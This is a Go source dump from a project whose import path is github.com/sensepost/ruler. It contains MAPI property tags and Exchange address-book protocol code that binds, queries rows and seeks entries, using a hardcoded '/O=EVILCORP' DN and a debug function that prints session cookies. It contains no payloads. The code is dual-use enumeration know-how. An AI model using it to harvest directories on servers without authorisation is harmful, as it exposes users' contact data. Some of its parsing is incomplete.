| 527 | //PidTagRecipientTrackStatus used in recepient 528 | var PidTagRecipientTrackStatus = PropertyTag{PtypInteger32, 0x5FFF} 529 | 530 | //Unspecifiedproperty used in recepient 531 | var Unspecifiedproperty = PropertyTag{PtypInteger32, 0x5FDE} 532 | 533 | //PidTagRecipientOrder used in recepient 534 | var PidTagRecipientOrder = PropertyTag{PtypInteger32, 0x5FDF} 535 | 536 | //PidTagRecipientEntryID used in recepient 537 | var PidTagRecipientEntryID = PropertyTag{PtypBinary, 0x5FF7} 538 | 539 | //PidTagSubjectPrefix used in recepient 540 | var PidTagSubjectPrefix = PropertyTag{PtypString, 0x0003} 541 | 542 | //PidTagNormalizedSubject used in recepient 543 | var PidTagNormalizedSubject = PropertyTag{PtypString, 0x0E1D} 544 | 545 | //PidTagSubject used in recepient 546 | var PidTagSubject = PropertyTag{PtypString, 0x0037} 547 | 548 | //PidTagHidden specify whether folder is hidden 549 | var PidTagHidden = PropertyTag{PtypBoolean, 0x10F4} 550 | 551 | //PidTagInstID identifier for all instances of a row in the table 552 | var PidTagInstID = PropertyTag{PtypInteger64, 0x674D} 553 | 554 | //PidTagInstanceNum identifier for single instance of a row in the table 555 | var PidTagInstanceNum = PropertyTag{PtypInteger32, 0x674E} 556 | 557 | //PidTagMid is the message id of a message in a store 558 | var PidTagMid = PropertyTag{PtypInteger64, 0x674A} 559 | 560 | //PidTagBodyHTML is the message id of a message in a store 561 | var PidTagBodyHTML = PropertyTag{PtypBinary, 0x1013} 562 | 563 | //PidTagHTMLBody is the same as above? 564 | var PidTagHTMLBody = PropertyTag{PtypString, 0x1013} 565 | 566 | var PidTagAttachMethod = PropertyTag{PtypInteger32, 0x3705} 567 | 568 | var PidTagRenderingPosition = PropertyTag{PtypInteger32, 0x370B} 569 | 570 | var PidTagAttachContentId = PropertyTag{PtypString, 0x03712} 571 | 572 | var PidTagAttachMimeTag = PropertyTag{PtypString, 0x370E} 573 | 574 | var PidTagAttachmentLinkId = PropertyTag{PtypInteger32, 0x7FFA} 575 | 576 | var PidTagAttachFlags = PropertyTag{PtypInteger32, 0x3714} 577 | 578 | var PidTagAttachmentHidden = PropertyTag{PtypBoolean, 0x7FFE} 579 | 580 | var PidTagAttachLongFilename = PropertyTag{PtypString, 0x3707} 581 | 582 | var PidTagAttachFilename = PropertyTag{PtypString, 0x3704} 583 | 584 | var PidTagAttachExtension = PropertyTag{PtypString, 0x3703} 585 | 586 | var PidTagMessageAttachments = PropertyTag{PtypObject, 0x0E13} 587 | 588 | var PidTagAttachPathName = PropertyTag{PtypString, 0x3708} 589 | var PidTagAttachLongPathName = PropertyTag{PtypString, 0x370D} 590 | var PidTagAttachPayloadProviderGuidString = PropertyTag{PtypString, 0x3719} 591 | var PidTagTrustSender = PropertyTag{PtypInteger32, 0x0E79} 592 | var PidTagAttachDataBinary = PropertyTag{PtypBinary, 0x3701} 593 | 594 | var PidTagIconIndex = PropertyTag{PtypInteger32, 0x1080} 595 | var PidTagMessageEditorFormat = PropertyTag{PtypInteger32, 0x5909} 596 | var PidTagSenderEmailAddress = PropertyTag{PtypString, 0x0C1F} 597 | var PidTagDeleteAfterSubmit = PropertyTag{PtypBoolean, 0x0E01} 598 | var PidTagOfflineAddressBookName = PropertyTag{PtypString, 0x6800} 599 | var PidTagOfflineAddressBookTruncatedProps = PropertyTag{PtypMultipleInteger32, 0x6805} 600 | var PidTagOfflineAddressBookLangID = PropertyTag{PtypInteger32, 0x6807} 601 | var PidTagOfflineAddressBookFileType = PropertyTag{PtypBoolean, 0x6808} 602 | var PidTagSendOutlookRecallReport = PropertyTag{PtypBoolean, 0x6803} 603 | var PidTagOABCompressedSize = PropertyTag{PtypGUID, 0x6809} 604 | var PidTagOABDN = PropertyTag{PtypGUID, 0x6804} 605 | 606 | var PidTag6830 = PropertyTag{PtypString8, 0x6830} 607 | var PidTag682C = PropertyTag{PtypMultipleInteger64, 0x682C} 608 | var PidTag6831 = PropertyTag{PtypBinary, 0x6831} 609 | var PidTag6832 = PropertyTag{PtypBinary, 0x6832} 610 | var PidTag6823 = PropertyTag{PtypBinary, 0x6823} 611 | var PidTag6824 = PropertyTag{PtypBinary, 0x6824} 612 | var PidTag6827 = PropertyTag{PtypString8, 0x6827} 613 | var PidTag6B00 = PropertyTag{PtypString8, 0x6B00} 614 | var PidTag6902 = PropertyTag{0x001E, 0x6902} 615 | var PidTag6900 = PropertyTag{0x0003, 0x6900} 616 | var PidTagComment = PropertyTag{PtypString, 0x3004} 617 | 618 | var PidTagSenderEntryId = PropertyTag{PtypBinary, 0x0C19} 619 | var PidTagFolderWebViewInfo = PropertyTag{PtypBinary, 0x36DF} 620 | var PidTagPurportedSenderDomain = PropertyTag{PtypString, 0x4083} 621 | var PidTagBodyContentLocation = PropertyTag{PtypString, 0x1014} 622 | 623 | var PidTagClientInfo = PropertyTag{PtypString, 0x80C7} 624 | 625 | var PidTagVoiceMessageAttachmentOrder = PropertyTag{PtypString, 0x6805} 626 | var PidTagVoiceMessageDuration = PropertyTag{PtypInteger32, 0x6801} 627 | var PidTagVoiceMessageSenderName = PropertyTag{PtypString, 0x6803} 628 | 629 | var PidTagRoamingDatatypes = PropertyTag{PtypInteger32, 0x7C06} 630 | var PidTagRoamingDictionary = PropertyTag{PtypBinary, 0x7C07} 631 | var PidTagRoamingXmlStream = PropertyTag{PtypBinary, 0x7C08} 632 | 633 | var PidTagSearchAllIndexedProps = PropertyTag{PtypString, 0x0EAF} -------------------------------------------------------------------------------- /mapi/datastructs-abk.go: -------------------------------------------------------------------------------- 1 | package mapi 2 | 3 | import ( 4 | "fmt" 5 | 6 | "github.com/sensepost/ruler/utils" 7 | ) 8 | 9 | //BindRequest struct used in bind request to bind to addressbook 10 | type BindRequest struct { 11 | Flags uint32 12 | HasState byte 13 | State []byte //optional 36 bytes 14 | AuxiliaryBufferSize uint32 15 | AuxiliaryBuffer []byte 16 | } 17 | 18 | //BindRequestRPC the bind request used for abk 19 | type BindRequestRPC struct { 20 | Flags uint32 21 | State []byte //optional 36 bytes 22 | ServerGUID []byte 23 | } 24 | 25 | //BindResponse struct 26 | type BindResponse struct { 27 | StatusCode uint32 28 | ErrorCode uint32 29 | ServerGUID []byte 30 | AuxiliaryBufferSize uint32 31 | AuxiliaryBuffer []byte 32 | } 33 | 34 | //GetSpecialTableRequest struct used to get list of addressbooks 35 | type GetSpecialTableRequest struct { 36 | Flags uint32 37 | HasState byte 38 | State []byte //optional 36 bytes 39 | HasVersion byte 40 | Version uint32 //optional if HasVersion 41 | AuxiliaryBufferSize uint32 42 | AuxiliaryBuffer []byte 43 | } 44 | 45 | //GetSpecialTableResponse struct 46 | type GetSpecialTableResponse struct { 47 | StatusCode uint32 48 | ErrorCode uint32 49 | CodePage uint32 50 | HasVersion byte 51 | Version uint32 //if hasversion is set 52 | HasRows byte 53 | RowsCount uint32 //if HasRows is set 54 | Rows []AddressBookPropertyValueList 55 | AuxiliaryBufferSize uint32 56 | AuxiliaryBuffer []byte 57 | } 58 | 59 | //DnToMinIDRequest struct used to get list of addressbooks 60 | type DnToMinIDRequest struct { 61 | Reserved uint32 62 | HasNames byte 63 | NameCount uint32 64 | NameValues []byte 65 | AuxiliaryBufferSize uint32 66 | AuxiliaryBuffer []byte 67 | } 68 | 69 | //DnToMinIDResponse struct 70 | type DnToMinIDResponse struct { 71 | StatusCode uint32 72 | ErrorCode uint32 73 | HasMinimalIds byte 74 | MinimalIDCount uint32 //if hasversion is set 75 | MinimalIds []byte 76 | AuxiliaryBufferSize uint32 77 | AuxiliaryBuffer []byte 78 | } 79 | 80 | //QueryRowsRequest struct used to get list of addressbooks 81 | type QueryRowsRequest struct { 82 | Flags uint32 83 | HasState byte 84 | State []byte //36 bytes if hasstate 85 | ExplicitTableCount uint32 86 | ExplicitTable []byte //array of MinimalEntryID 87 | RowCount uint32 88 | HasColumns byte 89 | Columns LargePropertyTagArray //array of LargePropertyTagArray if hascolumns is set 90 | AuxiliaryBufferSize uint32 91 | AuxiliaryBuffer []byte 92 | } 93 | 94 | //QueryRowsResponse struct 95 | type QueryRowsResponse struct { 96 | StatusCode uint32 97 | ErrorCode uint32 98 | HasState byte 99 | State []byte //36 bytes if hasState enabled 100 | HasColsAndRows byte 101 | Columns LargePropertyTagArray //array of LargePropertyTagArray //set if HasColsAndRows is set 102 | RowCount uint32 //if HasColsAndRows is non-zero 103 | RowData []AddressBookPropertyRow 104 | AuxiliaryBufferSize uint32 105 | AuxiliaryBuffer []byte 106 | } 107 | 108 | //SeekEntriesRequest struct used to get list of addressbooks 109 | type SeekEntriesRequest struct { 110 | Reserved uint32 //0x000000000 111 | HasState byte 112 | State []byte //36 bytes if hasstate 113 | HasTarget byte 114 | Target AddressBookTaggedPropertyValue 115 | HasExplicitTable byte 116 | ExplicitTableCount []byte //optional uint32 117 | ExplicitTable []byte //array of MinimalEntryID 118 | HasColumns byte 119 | Columns LargePropertyTagArray //array of LargePropertyTagArray if hascolumns is set 120 | AuxiliaryBufferSize uint32 121 | AuxiliaryBuffer []byte 122 | } 123 | 124 | //SeekEntriesResponse struct 125 | type SeekEntriesResponse struct { 126 | StatusCode uint32 127 | ErrorCode uint32 128 | HasState byte 129 | State []byte //36 bytes if hasState enabled 130 | HasColsAndRows byte 131 | Columns LargePropertyTagArray //array of LargePropertyTagArray //set if HasColsAndRows is set 132 | RowCount uint32 //if HasColsAndRows is non-zero 133 | RowData []AddressBookPropertyRow 134 | AuxiliaryBufferSize uint32 135 | AuxiliaryBuffer []byte 136 | } 137 | 138 | //AddressBookPropertyValueList used to list addressbook 139 | type AddressBookPropertyValueList struct { 140 | PropertyValueCount uint32 141 | PropertyValues []AddressBookTaggedPropertyValue 142 | } 143 | 144 | //AddressBookTaggedPropertyValue used to hold a value for an Addressbook entry 145 | type AddressBookTaggedPropertyValue struct { 146 | PropertyType uint16 147 | PropertyID uint16 148 | PropertyValue []byte 149 | } 150 | 151 | //AddressBookPropertyRow struct to hold addressbook entries 152 | type AddressBookPropertyRow struct { 153 | Flags uint8 //if 0x0 -- ValueArray = type(AddressBookPropertyValue) 154 | //if 0x1 ValueArray = type(AddressBookFlaggedPropertyValueWithType) 155 | AddressBookPropertyValue []AddressBookPropertyValue 156 | //AddressBookFlaggedPropertyValueWithType []AddressBookFlaggedPropertyValueWithType 157 | } 158 | 159 | //LargePropertyTagArray contains a list of propertytags 160 | type LargePropertyTagArray struct { 161 | PropertyTagCount uint32 162 | PropertyTags []PropertyTag 163 | } 164 | 165 | //AddressBookPropertyValue holds an addressbook value 166 | type AddressBookPropertyValue struct { 167 | Value []byte 168 | } 169 | 170 | //STAT holds the state of the NSPI table 171 | type STAT struct { 172 | SortType uint32 173 | ContainerID uint32 174 | CurrentRec uint32 175 | Delta uint32 176 | NumPos uint32 177 | TotalRecs uint32 178 | CodePage uint32 179 | TemplateLocale uint32 180 | SortLocale uint32 181 | } 182 | 183 | //Marshal turn BindRequest into Bytes 184 | func (bindRequest BindRequest) Marshal() []byte { 185 | return utils.BodyToBytes(bindRequest) 186 | } 187 | 188 | //Marshal turn BindRequestRPC into Bytes 189 | func (bindRequest BindRequestRPC) Marshal() []byte { 190 | return utils.BodyToBytes(bindRequest) 191 | } 192 | 193 | //Marshal turn GetSpecialTableRequest into Bytes 194 | func (specialTableRequest GetSpecialTableRequest) Marshal() []byte { 195 | return utils.BodyToBytes(specialTableRequest) 196 | } 197 | 198 | //Marshal turn DnToMinIDRequest into Bytes 199 | func (dntominid DnToMinIDRequest) Marshal() []byte { 200 | return utils.BodyToBytes(dntominid) 201 | } 202 | 203 | //Marshal turn QueryRowsRequest into Bytes 204 | func (qrows QueryRowsRequest) Marshal() []byte { 205 | return utils.BodyToBytes(qrows) 206 | } 207 | 208 | //Marshal turn SeekEntriesRequest into Bytes 209 | func (qrows SeekEntriesRequest) Marshal() []byte { 210 | return utils.BodyToBytes(qrows) 211 | } 212 | 213 | //Marshal turn AddressBookPropertyValue into Bytes 214 | func (abpv AddressBookPropertyValue) Marshal() []byte { 215 | return utils.BodyToBytes(abpv) 216 | } 217 | 218 | //Marshal turn STAT struct into Bytes 219 | func (stat STAT) Marshal() []byte { 220 | return utils.BodyToBytes(stat) 221 | } 222 | 223 | //Unmarshal func 224 | func (abt *AddressBookPropertyValueList) Unmarshal(resp []byte) (int, error) { 225 | pos := 0 226 | abt.PropertyValueCount, pos = utils.ReadUint32(pos, resp) 227 | abt.PropertyValues = make([]AddressBookTaggedPropertyValue, int(abt.PropertyValueCount)) 228 | 229 | for k := 0; k < len(abt.PropertyValues); k++ { 230 | abt.PropertyValues[k] = AddressBookTaggedPropertyValue{} 231 | p, _ := abt.PropertyValues[k].Unmarshal(resp[pos:]) 232 | pos += p 233 | } 234 | return pos, nil 235 | } 236 | 237 | //Unmarshal func 238 | func (lpta *LargePropertyTagArray) Unmarshal(resp []byte) (int, error) { 239 | pos := 0 240 | lpta.PropertyTagCount, pos = utils.ReadUint32(pos, resp) 241 | lpta.PropertyTags = make([]PropertyTag, int(lpta.PropertyTagCount)) 242 | 243 | for k := 0; k < len(lpta.PropertyTags); k++ { 244 | lpta.PropertyTags[k] = PropertyTag{} 245 | p, _ := lpta.PropertyTags[k].Unmarshal(resp[pos:]) 246 | pos += p 247 | } 248 | return pos, nil 249 | } 250 | 251 | //Unmarshal func 252 | func (abpr *AddressBookPropertyRow) Unmarshal(resp []byte, columns LargePropertyTagArray) (int, error) { 253 | pos := 0 254 | abpr.Flags, pos = utils.ReadByte(pos, resp) 255 | 256 | if abpr.Flags == 0x0 { //AddressBookPropertyValue 257 | abpr.AddressBookPropertyValue = make([]AddressBookPropertyValue, int(columns.PropertyTagCount)) 258 | 259 | for k := 0; k < int(columns.PropertyTagCount); k++ { 260 | propType := columns.PropertyTags[k].PropertyType 261 | abpv, p := ReadPropertyValue(resp[pos:], propType) 262 | abpr.AddressBookPropertyValue[k].Value = abpv 263 | pos += p 264 | } 265 | 266 | } else if abpr.Flags == 0x1 { //AddressBookFlaggedPropertyValue 267 | //abpv := []AddressBookFlaggedPropertyValue{} 268 | 269 | //abpr.ValueArray = []byte{} 270 | } 271 | 272 | return pos, nil 273 | } 274 | 275 | //ReadPropertyValue v 276 | func ReadPropertyValue(resp []byte, propType uint16) ([]byte, int) { 277 | pos := 0 278 | var propertyValue []byte 279 | if propType == PtypInteger32 { 280 | propertyValue, pos = utils.ReadBytes(pos, 4, resp) 281 | } else if propType == PtypInteger64 { 282 | propertyValue, pos = utils.ReadBytes(pos, 8, resp) 283 | } else if propType == PtypString { 284 | t, p := utils.ReadByte(pos, resp) // check HasValue 285 | pos = p 286 | if t == 0xFF { // check if hasValue 287 | propertyValue, pos = utils.ReadUnicodeString(pos, resp) 288 | pos++ 289 | } 290 | } else if propType == PtypBoolean { 291 | propertyValue, pos = utils.ReadBytes(pos, 1, resp) 292 | } else if propType == PtypBinary { 293 | t, p := utils.ReadByte(pos, resp) // check HasValue 294 | pos = p 295 | if t == 0xFF { 296 | cnt, p := utils.ReadUint32(pos, resp) // check cnt 297 | pos = p 298 | propertyValue, pos = utils.ReadBytes(pos, int(cnt), resp) 299 | 300 | } 301 | } 302 | return propertyValue, pos 303 | } 304 | 305 | //Unmarshal func for the AddressBookTaggedPropertyValue structure 306 | func (abt *AddressBookTaggedPropertyValue) Unmarshal(resp []byte) (int, error) { 307 | pos, p := 0, 0 308 | abt.PropertyType, pos = utils.ReadUint16(pos, resp) 309 | abt.PropertyID, pos = utils.ReadUint16(pos, resp) 310 | abt.PropertyValue, p = ReadPropertyValue(resp[pos:], abt.PropertyType) 311 | pos += p 312 | return pos, nil 313 | } 314 | 315 | //Unmarshal func 316 | func (bindResponse *BindResponse) Unmarshal(resp []byte) (int, error) { 317 | pos := 0 318 | bindResponse.StatusCode, pos = utils.ReadUint32(pos, resp) 319 | bindResponse.ErrorCode, pos = utils.ReadUint32(pos, resp) 320 | if bindResponse.ErrorCode != 0 { 321 | return pos, fmt.Errorf("Non-zero return value %d", bindResponse.ErrorCode) 322 | } 323 | bindResponse.ServerGUID, pos = utils.ReadBytes(pos, 16, resp) 324 | bindResponse.AuxiliaryBufferSize, pos = utils.ReadUint32(pos, resp) 325 | if bindResponse.AuxiliaryBufferSize != 0 { 326 | bindResponse.AuxiliaryBuffer, pos = utils.ReadBytes(pos, int(bindResponse.AuxiliaryBufferSize), resp) 327 | } 328 | return pos, nil 329 | } 330 | 331 | //Unmarshal func 332 | func (gstResponse *GetSpecialTableResponse) Unmarshal(resp []byte) (int, error) { 333 | pos := 0 334 | gstResponse.StatusCode, pos = utils.ReadUint32(pos, resp) 335 | gstResponse.ErrorCode, pos = utils.ReadUint32(pos, resp) 336 | if gstResponse.ErrorCode != 0 { 337 | return pos, fmt.Errorf("Non-zero return value %d", gstResponse.ErrorCode) 338 | } 339 | gstResponse.CodePage, pos = utils.ReadUint32(pos, resp) 340 | gstResponse.HasVersion, pos = utils.ReadByte(pos, resp) 341 | if gstResponse.HasVersion == 0xFF { 342 | gstResponse.Version, pos = utils.ReadUint32(pos, resp) 343 | } 344 | gstResponse.HasRows, pos = utils.ReadByte(pos, resp) 345 | if gstResponse.HasRows == 0xFF { 346 | gstResponse.RowsCount, pos = utils.ReadUint32(pos, resp) 347 | fmt.Println(gstResponse.RowsCount) 348 | gstResponse.Rows = make([]AddressBookPropertyValueList, gstResponse.RowsCount) 349 | for k := 0; k < int(gstResponse.RowsCount); k++ { 350 | gstResponse.Rows[k] = AddressBookPropertyValueList{} 351 | p, _ := gstResponse.Rows[k].Unmarshal(resp[pos:]) 352 | pos += p 353 | } 354 | } 355 | gstResponse.AuxiliaryBufferSize, pos = utils.ReadUint32(pos, resp) 356 | if gstResponse.AuxiliaryBufferSize != 0 { 357 | gstResponse.AuxiliaryBuffer, pos = utils.ReadBytes(pos, int(gstResponse.AuxiliaryBufferSize), resp) 358 | } 359 | return pos, nil 360 | } 361 | 362 | //Unmarshal func 363 | func (dnResponse *DnToMinIDResponse) Unmarshal(resp []byte) (int, error) { 364 | pos := 0 365 | dnResponse.StatusCode, pos = utils.ReadUint32(pos, resp) 366 | dnResponse.ErrorCode, pos = utils.ReadUint32(pos, resp) 367 | if dnResponse.ErrorCode != 0 { 368 | return pos, fmt.Errorf("Non-zero return value %d", dnResponse.ErrorCode) 369 | } 370 | if dnResponse.HasMinimalIds == 0xFF { 371 | dnResponse.MinimalIDCount, pos = utils.ReadUint32(pos, resp) 372 | //dnResponse.MinimalIds, pos = utils.Read 373 | } 374 | dnResponse.AuxiliaryBufferSize, pos = utils.ReadUint32(pos, resp) 375 | if dnResponse.AuxiliaryBufferSize != 0 { 376 | dnResponse.AuxiliaryBuffer, pos = utils.ReadBytes(pos, int(dnResponse.AuxiliaryBufferSize), resp) 377 | } 378 | return pos, nil 379 | } 380 | 381 | //Unmarshal func 382 | func (qrResponse *QueryRowsResponse) Unmarshal(resp []byte) (int, error) { 383 | pos := 0 384 | qrResponse.StatusCode, pos = utils.ReadUint32(pos, resp) 385 | qrResponse.ErrorCode, pos = utils.ReadUint32(pos, resp) 386 | if qrResponse.ErrorCode != 0 { 387 | return pos, fmt.Errorf("Non-zero return value %d", qrResponse.ErrorCode) 388 | } 389 | qrResponse.HasState, pos = utils.ReadByte(pos, resp) 390 | if qrResponse.HasState == 0xFF { 391 | qrResponse.State, pos = utils.ReadBytes(pos, 36, resp) 392 | } 393 | qrResponse.HasColsAndRows, pos = utils.ReadByte(pos, resp) 394 | if qrResponse.HasColsAndRows == 0xFF { 395 | columns := LargePropertyTagArray{} 396 | p, _ := columns.Unmarshal(resp[pos:]) 397 | pos += p 398 | qrResponse.Columns = columns 399 | qrResponse.RowCount, pos = utils.ReadUint32(pos, resp) 400 | qrResponse.RowData = make([]AddressBookPropertyRow, int(qrResponse.RowCount)) 401 | for k := 0; k < int(qrResponse.RowCount); k++ { 402 | qrResponse.RowData[k] = AddressBookPropertyRow{} 403 | p, _ := qrResponse.RowData[k].Unmarshal(resp[pos:], columns) 404 | pos += p 405 | } 406 | } 407 | qrResponse.AuxiliaryBufferSize, pos = utils.ReadUint32(pos, resp) 408 | if qrResponse.AuxiliaryBufferSize != 0 { 409 | //qrResponse.AuxiliaryBuffer, pos = utils.ReadBytes(pos, int(qrResponse.AuxiliaryBufferSize), resp) 410 | } 411 | return pos, nil 412 | } 413 | 414 | //Unmarshal func 415 | func (stat *STAT) Unmarshal(resp []byte) (int, error) { 416 | pos := 0 417 | stat.SortType, pos = utils.ReadUint32(pos, resp) 418 | stat.ContainerID, pos = utils.ReadUint32(pos, resp) 419 | stat.CurrentRec, pos = utils.ReadUint32(pos, resp) 420 | stat.Delta, pos = utils.ReadUint32(pos, resp) 421 | stat.NumPos, pos = utils.ReadUint32(pos, resp) 422 | stat.TotalRecs, pos = utils.ReadUint32(pos, resp) 423 | stat.CodePage, pos = utils.ReadUint32(pos, resp) 424 | stat.TemplateLocale, pos = utils.ReadUint32(pos, resp) 425 | stat.SortLocale, pos = utils.ReadUint32(pos, resp) 426 | 427 | return pos, nil 428 | } 429 | -------------------------------------------------------------------------------- /mapi/mapi-abk.go: -------------------------------------------------------------------------------- 1 | package mapi 2 | 3 | import ( 4 | "fmt" 5 | 6 | rpchttp "github.com/sensepost/ruler/rpc-http" 7 | "github.com/sensepost/ruler/utils" 8 | ) 9 | 10 | func sendAddressBookRequest(mapiType string, mapi []byte) ([]byte, error) { 11 | if AuthSession.Transport == HTTP { 12 | return mapiRequestHTTP(AuthSession.ABKURL.String(), mapiType, mapi) 13 | } 14 | 15 | //return rpchttp.EcDoRPCExt2(mapi, 0) 16 | return rpchttp.EcDoRPCAbk(mapi, 0) 17 | //return nil, nil 18 | } 19 | 20 | //ExtractMapiAddressBookURL extract the External mapi url from the autodiscover response 21 | func ExtractMapiAddressBookURL(resp *utils.AutodiscoverResp) string { 22 | for _, v := range resp.Response.Account.Protocol { 23 | if v.TypeAttr == "mapiHttp" { 24 | return v.AddressBook.ExternalUrl 25 | } 26 | } 27 | return "" 28 | } 29 | 30 | //BindAddressBook function to bind to the AddressBook provider 31 | func BindAddressBook() (*BindResponse, error) { 32 | 33 | bindReq := BindRequest{} 34 | bindReq.Flags = 0x00 35 | bindReq.HasState = 0xFF 36 | bindReq.State = STAT{0x00, 0x00, 0x00, 0x00, 0x00, 0xFFFFFFFF, 1252, 1033, 2057}.Marshal() 37 | bindReq.AuxiliaryBufferSize = 0x00 38 | 39 | responseBody, err := sendAddressBookRequest("BIND", bindReq.Marshal()) 40 | 41 | if err != nil { 42 | return nil, fmt.Errorf("A HTTP server side error occurred.\n %s", err) 43 | } 44 | 45 | bindResp := BindResponse{} 46 | _, err = bindResp.Unmarshal(responseBody) 47 | if err != nil { 48 | return nil, err 49 | } 50 | return &bindResp, nil 51 | 52 | //return nil, fmt.Errorf("unexpected error occurred") 53 | } 54 | 55 | //BindAddressBookRPC function to bind to the AddressBook provider 56 | func BindAddressBookRPC() (*BindResponse, error) { 57 | 58 | bindReq := BindRequestRPC{} 59 | bindReq.Flags = 0x00 60 | bindReq.State = STAT{0x00, 0x00, 0x00, 0x00, 0x00, 0xFFFFFFFF, 1252, 1033, 2057}.Marshal() 61 | bindReq.ServerGUID = []byte{0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x28, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x10, 0x00, 0x00, 0x00, 0x0f, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0f, 0x00, 0x00, 0x00, 0x1f, 0x00, 0x01, 0x30, 0x1f, 0x00, 0x17, 0x3a, 0x1f, 0x00, 0x08, 0x3a, 0x1f, 0x00, 0x19, 0x3a, 0x1f, 0x00, 0x18, 0x3a, 0x1f, 0x00, 0xfe, 0x39, 0x1f, 0x00, 0x16, 0x3a, 0x1f, 0x00, 0x00, 0x3a, 0x1f, 0x00, 0x02, 0x30, 0x02, 0x01, 0xff, 0x0f, 0x03, 0x00, 0xfe, 0x0f, 0x03, 0x00, 0x00, 0x39, 0x03, 0x00, 0x05, 0x39} 62 | 63 | data := bindReq.Marshal() 64 | responseBody, err := rpchttp.EcDoRPCAbk(data, len(bindReq.ServerGUID)-10) 65 | 66 | if err != nil { 67 | return nil, fmt.Errorf("A HTTP server side error occurred.\n %s", err) 68 | } 69 | 70 | bindResp := BindResponse{} 71 | _, err = bindResp.Unmarshal(responseBody) 72 | if err != nil { 73 | return nil, err 74 | } 75 | return &bindResp, nil 76 | 77 | //return nil, fmt.Errorf("unexpected error occurred") 78 | } 79 | 80 | //GetSpecialTable function to get special table from addressbook provider 81 | func GetSpecialTable() (*GetSpecialTableResponse, error) { 82 | 83 | gstReq := GetSpecialTableRequest{} 84 | gstReq.Flags = 0x00000004 85 | gstReq.HasState = 0xFF 86 | gstReq.State = STAT{0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 1252, 1033, 2057}.Marshal() 87 | gstReq.HasVersion = 0xFF 88 | gstReq.Version = 0x00 89 | gstReq.AuxiliaryBufferSize = 0x00 90 | 91 | responseBody, err := sendAddressBookRequest("GetSpecialTable", gstReq.Marshal()) 92 | 93 | if err != nil { 94 | return nil, fmt.Errorf("A HTTP server side error occurred.\n %s", err) 95 | } 96 | gstResp := GetSpecialTableResponse{} 97 | _, err = gstResp.Unmarshal(responseBody) 98 | if err != nil { 99 | return nil, err 100 | } 101 | return &gstResp, nil 102 | 103 | } 104 | 105 | //DnToMinID function to map DNs to a set of Minimal Entry IDs 106 | func DnToMinID() (*DnToMinIDResponse, error) { 107 | //byte[] arrOutput = { 0x2F, 0x4F, 0x3D, 0x45, 0x56, 0x49, 0x4C, 0x43, 0x4F, 0x52, 0x50, 0x00}; 108 | dntominid := DnToMinIDRequest{} 109 | dntominid.Reserved = 0x00 110 | dntominid.HasNames = 0xFF 111 | dntominid.NameCount = 1 112 | dntominid.NameValues = []byte{0x2F, 0x4F, 0x3D, 0x45, 0x56, 0x49, 0x4C, 0x43, 0x4F, 0x52, 0x50, 0x00} 113 | 114 | responseBody, err := sendAddressBookRequest("DNToMId", dntominid.Marshal()) 115 | 116 | if err != nil { 117 | fmt.Println(err) 118 | return nil, fmt.Errorf("A HTTP server side error occurred.\n %s", err) 119 | } 120 | gstResp := DnToMinIDResponse{} 121 | _, err = gstResp.Unmarshal(responseBody) 122 | if err != nil { 123 | return nil, err 124 | } 125 | return &gstResp, nil 126 | 127 | } 128 | 129 | //GetProps function to get specific properties on an object 130 | func GetProps() { 131 | isAuthenticated() //check if we actually have a session 132 | 133 | resp, _ := sendAddressBookRequest("GetProps", []byte{}) 134 | fmt.Println(resp) 135 | //fmt.Println(string(rbody)) 136 | fmt.Println(AuthSession.CookieJar) 137 | 138 | } 139 | 140 | //QueryRows function gets number of rows from the specified explicit table 141 | func QueryRows(rowCount int, state []byte, columns []PropertyTag) (*QueryRowsResponse, error) { 142 | 143 | qRows := QueryRowsRequest{} 144 | qRows.Flags = 0x00 145 | qRows.HasState = 0xFF 146 | if len(state) == 0 { 147 | state = STAT{0x00, 0x00, 0x00, 0x00, 0x00, 0xFF, 1252, 1033, 2057}.Marshal() 148 | } 149 | qRows.State = state // 150 | qRows.ExplicitTableCount = 0x00 151 | qRows.RowCount = uint32(rowCount) 152 | qRows.HasColumns = 0xFF 153 | 154 | qRows.Columns = LargePropertyTagArray{} 155 | qRows.Columns.PropertyTagCount = uint32(len(columns)) 156 | qRows.Columns.PropertyTags = columns // 157 | 158 | qRows.AuxiliaryBufferSize = 0x00 159 | 160 | responseBody, err := sendAddressBookRequest("QueryRows", qRows.Marshal()) 161 | 162 | if err != nil { 163 | return nil, fmt.Errorf("A HTTP server side error occurred.\n %s", err) 164 | } 165 | qrResp := QueryRowsResponse{} 166 | _, err = qrResp.Unmarshal(responseBody) 167 | if err != nil { 168 | return nil, err 169 | } 170 | return &qrResp, nil 171 | 172 | } 173 | 174 | //SeekEntries function moves the pointer to a new position in the addressbook 175 | func SeekEntries(entryStart []byte, columns []PropertyTag) (*QueryRowsResponse, error) { 176 | 177 | qRows := SeekEntriesRequest{} 178 | qRows.HasState = 0xFF 179 | qRows.State = []byte{0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xFF, 0xFF, 0xFF, 0xFF, 0xE4, 0x04, 0x00, 0x00, 0x09, 0x04, 0x00, 0x00, 0x09, 0x08, 0x00, 0x00} 180 | //qRows.HasTarget = 0xFF 181 | val := []byte{0x00, 0x00, 0x00, 0x00, 0x1f, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x08, 0x00, 0x00, 0x00, 0x00, 0x0, 0x0, 0x0, 0x08, 0x0, 0x0, 0x0} 182 | val = append(val, entryStart...) 183 | qRows.Target = AddressBookTaggedPropertyValue{PropertyType: 0x001F, PropertyID: 0x3001, PropertyValue: val} 184 | qRows.HasExplicitTable = 0x00 185 | //qRows.ExplicitTableCount = 0x00 186 | qRows.HasColumns = 0xFF 187 | 188 | qRows.Columns = LargePropertyTagArray{} 189 | qRows.Columns.PropertyTagCount = uint32(len(columns)) 190 | qRows.Columns.PropertyTags = columns // 191 | 192 | qRows.AuxiliaryBufferSize = 0x00 193 | 194 | responseBody, err := sendAddressBookRequest("SeekEntries", qRows.Marshal()) 195 | 196 | if err != nil { 197 | return nil, fmt.Errorf("A HTTP server side error occurred.\n %s", err) 198 | } 199 | qrResp := QueryRowsResponse{} 200 | _, err = qrResp.Unmarshal(responseBody) 201 | if err != nil { 202 | return nil, err 203 | } 204 | return &qrResp, nil 205 | 206 | } 207 | 